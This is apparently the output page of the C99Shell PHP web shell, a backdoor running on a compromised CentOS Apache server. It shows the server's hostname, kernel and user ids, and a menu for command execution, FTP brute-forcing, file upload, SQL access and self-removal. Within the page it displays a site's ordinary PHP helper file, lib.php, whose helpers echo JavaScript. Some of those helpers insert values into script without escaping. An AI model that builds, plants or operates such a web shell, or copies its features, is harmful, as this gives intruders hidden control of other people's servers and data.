!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/includes/   drwxr-xr-x
Free 9.42 GB of 93.48 GB (10.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     lib.php (2.34 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
function alert($texto) {
        
$texto str_replace("\n""\\n"$texto);
        
$texto str_replace("\$""\\$"$texto);
        
        echo 
"<script language='javascript'>
                        alert(\"" 
$texto "\");
                    </script>"
;
    }
    
    function 
ir_para($link="") {        
        if (!
$link$link "window.location";
        else 
$link "\"$link\"";
        echo 
"<script language=\"javascript\">
                        location.href = 
$link;
                    </script>"
;
        eval(
"exit;");
    }
    
    function 
voltar($qtde=-1) {
        echo 
"<script language=\"javascript\">
                        history.go(
$qtde);
                    </script>"
;
        eval(
"exit;");
    }
    
    function 
fechar() {
        echo 
"<script language=\"javascript\">
                        window.close();
                    </script>"
;
        eval(
"exit;");
    }
    
    
// Se cabeçalhos POST tiverem sido enviados será perguntado sobre o Reenvio dos dados
    // Para recarregar sem perguntar utilize a função ir_para()
    
function recarregar() {
        echo 
"<script language=\"javascript\">
                        window.location.reload();
                    </script>"
;
    }
    
    function 
recarregar_pai() {
        echo 
"<script language=\"javascript\">
                        window.opener.location.reload();
              </script>"
;
    }
    
    
    function 
recarregar_pai_frame() {
        echo 
"<script language=\"javascript\">
                        parent.window.location.reload();
              </script>"
;
    }
    
    
// *** NOVA
    
function recarregar_list_pai() {
        echo 
"<script language=\"javascript\">
                        window.opener.buscar_dados();
              </script>"
;
    }

    function 
remove_do_get($indice) {
        global 
$_GET;
        
$qs "?";
        
reset($_GET);

        if (!
is_array($indice))
            
$indice = array($indice);

        for (
$i=$i<count($_GET) ; $i++) {
            if (!(
in_array(key($_GET), $indice))) {
                
$qs .= key($_GET) . "=" current($_GET) . "&";
            }
            
next($_GET);            
        }


        
$qs substr($qs0strlen($qs)-1);
        return 
$qs;
    }
    
    function 
janela($url,$wid,$hei,$nome,$scrolls,$fullscreen=false) {
        echo 
"<script language='javascript'>";
        if (
$fullscreen) {
            
$parametros "channelmode=yes, resizable=yes";
        }
        else {
            
$parametros "    toolbar=no, location=no, directories=no, status=yes, menubar=no, scrollbars=$scrolls, resizable=no, top=\"+alt+\",left=\"+larg+\", width=$wid, height=$hei";
            echo 
"    alt =  (screen.height / 2) - ($hei / 2); 
                    larg = (screen.width / 2) - 50;"
;
        }
        echo 
"
                var parametros=\"
$parametros\"; 
                window.open('
$url','$nome',parametros);
            </script>"
;
    }
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0036 ]--